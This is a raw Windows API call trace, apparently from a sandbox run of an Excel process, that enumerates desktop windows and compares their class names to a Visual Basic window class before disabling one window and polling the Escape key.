GetClassNameA (in: hWnd=0x1010a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.373] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.373] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0122.373] GetWindow (hWnd=0x1010a, uCmd=0x2) returned 0x10106 [0122.373] GetClassNameA (in: hWnd=0x10106, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0122.373] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0122.373] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x570 [0122.373] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10104 [0122.373] GetClassNameA (in: hWnd=0x10104, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0122.373] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0122.373] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0122.373] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x10100 [0122.373] GetClassNameA (in: hWnd=0x10100, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0122.373] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0122.373] GetWindowThreadProcessId (in: hWnd=0x10100, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0122.373] GetWindow (hWnd=0x10100, uCmd=0x2) returned 0x100fe [0122.373] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0122.373] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0122.373] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x53c [0122.374] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x5008e [0122.374] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0122.374] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0122.374] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0122.374] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0122.374] GetClassNameA (in: hWnd=0x10084, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0122.374] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0122.374] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x508 [0122.374] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0122.374] GetClassNameA (in: hWnd=0x10082, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0122.374] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0122.374] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0122.374] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007a [0122.374] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0122.374] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0122.374] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0122.374] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10068 [0122.374] GetClassNameA (in: hWnd=0x10068, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0122.374] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0122.374] GetWindowThreadProcessId (in: hWnd=0x10068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0122.374] GetWindow (hWnd=0x10068, uCmd=0x2) returned 0x20020 [0122.374] GetClassNameA (in: hWnd=0x20020, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="#43") returned 3 [0122.374] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0122.374] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7ec [0122.374] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0122.374] GetClassNameA (in: hWnd=0x20024, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.374] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.375] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7ec [0122.375] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x10064 [0122.375] GetClassNameA (in: hWnd=0x10064, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0122.375] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0122.375] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0122.375] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10052 [0122.375] GetClassNameA (in: hWnd=0x10052, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0122.375] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0122.375] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4d8 [0122.375] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x10054 [0122.375] GetClassNameA (in: hWnd=0x10054, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.375] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.375] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4d8 [0122.375] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004c [0122.375] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0122.375] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0122.375] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0122.375] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10044 [0122.375] GetClassNameA (in: hWnd=0x10044, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0122.375] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0122.375] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0122.375] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x20040 [0122.375] GetClassNameA (in: hWnd=0x20040, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0122.375] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0122.375] GetWindowThreadProcessId (in: hWnd=0x20040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0122.375] GetWindow (hWnd=0x20040, uCmd=0x2) returned 0x10042 [0122.375] GetClassNameA (in: hWnd=0x10042, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.376] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.376] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0122.376] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e [0122.376] GetClassNameA (in: hWnd=0x3003e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0122.376] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0122.376] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x44c [0122.376] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x2001e [0122.376] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.376] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.376] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7d4 [0122.376] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20022 [0122.376] GetClassNameA (in: hWnd=0x20022, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0122.376] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0122.376] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7d4 [0122.376] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x100ec [0122.376] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0122.376] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0122.376] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0122.376] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0 [0122.376] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x76a1960 [0122.377] IMalloc:Free (This=0x7fefecb5380, pv=0x76a1960) [0122.510] GetCurrentThreadId () returned 0xbdc [0122.511] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0122.511] GetDesktopWindow () returned 0x10010 [0122.511] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x400a8 [0122.511] GetClassNameA (in: hWnd=0x400a8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0122.511] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0122.511] GetWindowThreadProcessId (in: hWnd=0x400a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0122.511] GetWindow (hWnd=0x400a8, uCmd=0x2) returned 0x300b6 [0122.511] GetClassNameA (in: hWnd=0x300b6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0122.511] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0122.511] GetWindowThreadProcessId (in: hWnd=0x300b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0122.511] GetWindow (hWnd=0x300b6, uCmd=0x2) returned 0x500a4 [0122.511] GetClassNameA (in: hWnd=0x500a4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0122.511] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0122.511] GetWindowThreadProcessId (in: hWnd=0x500a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0122.511] GetWindow (hWnd=0x500a4, uCmd=0x2) returned 0x1013c [0122.511] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ATL:000007FEF4C752C0") returned 20 [0122.511] lstrcmpA (lpString1="ATL:000007FEF4C752C0", lpString2="ThunderRT6Main") returned -1 [0122.511] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0122.511] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x10136 [0122.511] GetClassNameA (in: hWnd=0x10136, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.511] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.511] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0122.511] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x10134 [0122.511] GetClassNameA (in: hWnd=0x10134, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0122.512] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0122.512] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0122.512] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10076 [0122.512] GetClassNameA (in: hWnd=0x10076, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0122.512] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0122.512] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0122.512] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10074 [0122.512] GetClassNameA (in: hWnd=0x10074, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0122.512] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0122.512] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0122.512] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10060 [0122.512] GetClassNameA (in: hWnd=0x10060, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0122.512] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0122.512] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0122.512] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1008a [0122.512] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0122.512] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0122.512] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0122.512] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007e [0122.512] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0122.512] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0122.512] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0122.512] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x1007c [0122.512] GetClassNameA (in: hWnd=0x1007c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0122.512] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0122.512] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0122.513] GetWindow (hWnd=0x1007c, uCmd=0x2) returned 0x10078 [0122.513] GetClassNameA (in: hWnd=0x10078, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0122.513] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0122.513] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0122.513] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10056 [0122.513] GetClassNameA (in: hWnd=0x10056, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0122.513] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0122.513] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0122.513] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1004e [0122.513] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.513] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.513] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0122.513] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10058 [0122.513] GetClassNameA (in: hWnd=0x10058, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0122.513] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0122.513] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0122.513] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10050 [0122.513] GetClassNameA (in: hWnd=0x10050, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0122.513] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0122.513] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0122.513] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f6 [0122.513] GetClassNameA (in: hWnd=0x100f6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0122.513] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0122.513] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0122.514] GetWindow (hWnd=0x100f6, uCmd=0x2) returned 0x5009a [0122.514] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0122.514] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0122.514] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0122.514] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0122.514] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0122.514] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0122.514] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0122.514] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x102d4 [0122.514] GetClassNameA (in: hWnd=0x102d4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0122.514] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0122.514] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0122.514] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0122.514] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0122.514] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0122.514] GetWindow (hWnd=0x102d4, uCmd=0x2) returned 0x30154 [0122.514] GetClassNameA (in: hWnd=0x30154, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.514] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.514] GetWindowThreadProcessId (in: hWnd=0x30154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0122.514] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0122.514] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0122.514] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0122.514] GetWindow (hWnd=0x30154, uCmd=0x2) returned 0x2029c [0122.514] GetClassNameA (in: hWnd=0x2029c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0122.514] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0122.514] GetWindowThreadProcessId (in: hWnd=0x2029c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0122.514] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0122.514] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0122.514] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0122.514] GetWindow (hWnd=0x2029c, uCmd=0x2) returned 0x2038a [0122.515] GetClassNameA (in: hWnd=0x2038a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0122.515] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0122.515] GetWindowThreadProcessId (in: hWnd=0x2038a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0122.515] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0122.515] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0122.515] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0122.515] GetWindow (hWnd=0x2038a, uCmd=0x2) returned 0x20360 [0122.515] GetClassNameA (in: hWnd=0x20360, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0122.515] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0122.515] GetWindowThreadProcessId (in: hWnd=0x20360, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0122.515] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -2080374784 [0122.515] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0122.515] IsWindowEnabled (hWnd=0x20360) returned 1 [0122.515] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x0 [0122.515] SetPropA (hWnd=0x20360, lpString=0xc121, hData=0x1) returned 1 [0122.515] EnableWindow (hWnd=0x20360, bEnable=0) returned 0 [0122.515] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0122.515] GetClassNameA (in: hWnd=0x2030c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0122.515] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0122.515] GetWindowThreadProcessId (in: hWnd=0x2030c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0122.515] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0122.515] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0122.515] GetClassNameA (in: hWnd=0x10350, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0122.515] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0122.515] GetWindowThreadProcessId (in: hWnd=0x10350, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xce0 [0122.516] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0122.516] GetClassNameA (in: hWnd=0x202ee, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0122.516] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0122.516] GetWindowThreadProcessId (in: hWnd=0x202ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0122.516] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0122.516] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0122.516] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0122.516] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0122.516] GetClassNameA (in: hWnd=0x302c4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0122.516] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0122.516] GetWindowThreadProcessId (in: hWnd=0x302c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0122.516] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0122.516] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0122.516] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0122.516] GetWindow (hWnd=0x302c4, uCmd=0x2) returned 0x302c2 [0122.516] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0122.516] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0122.516] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0122.516] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0122.516] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0122.516] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0122.516] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x10270 [0122.516] GetClassNameA (in: hWnd=0x10270, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0122.516] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0122.516] GetWindowThreadProcessId (in: hWnd=0x10270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0122.516] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0122.516] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0122.516] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0122.516] GetWindow (hWnd=0x10270, uCmd=0x2) returned 0x30152 [0122.516] GetClassNameA (in: hWnd=0x30152, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0122.517] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0122.517] GetWindowThreadProcessId (in: hWnd=0x30152, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbc8 [0122.517] GetWindow (hWnd=0x30152, uCmd=0x2) returned 0x3018c [0122.517] GetClassNameA (in: hWnd=0x3018c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0122.517] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0122.517] GetWindowThreadProcessId (in: hWnd=0x3018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0122.517] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0122.517] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0122.517] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0122.517] GetWindow (hWnd=0x3018c, uCmd=0x2) returned 0x900a0 [0122.517] GetClassNameA (in: hWnd=0x900a0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0122.517] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0122.517] GetWindowThreadProcessId (in: hWnd=0x900a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0122.517] GetClassNameA (in: hWnd=0x10262, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.518] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.518] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0122.518] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0122.518] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0122.519] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x4f7af10 [0122.519] IMalloc:Free (This=0x7fefecb5380, pv=0x4f7af10) [0125.395] GetAsyncKeyState (vKey=27) returned 0 [0125.395] GetCurrentThreadId () returned 0xbdc [0125.395] 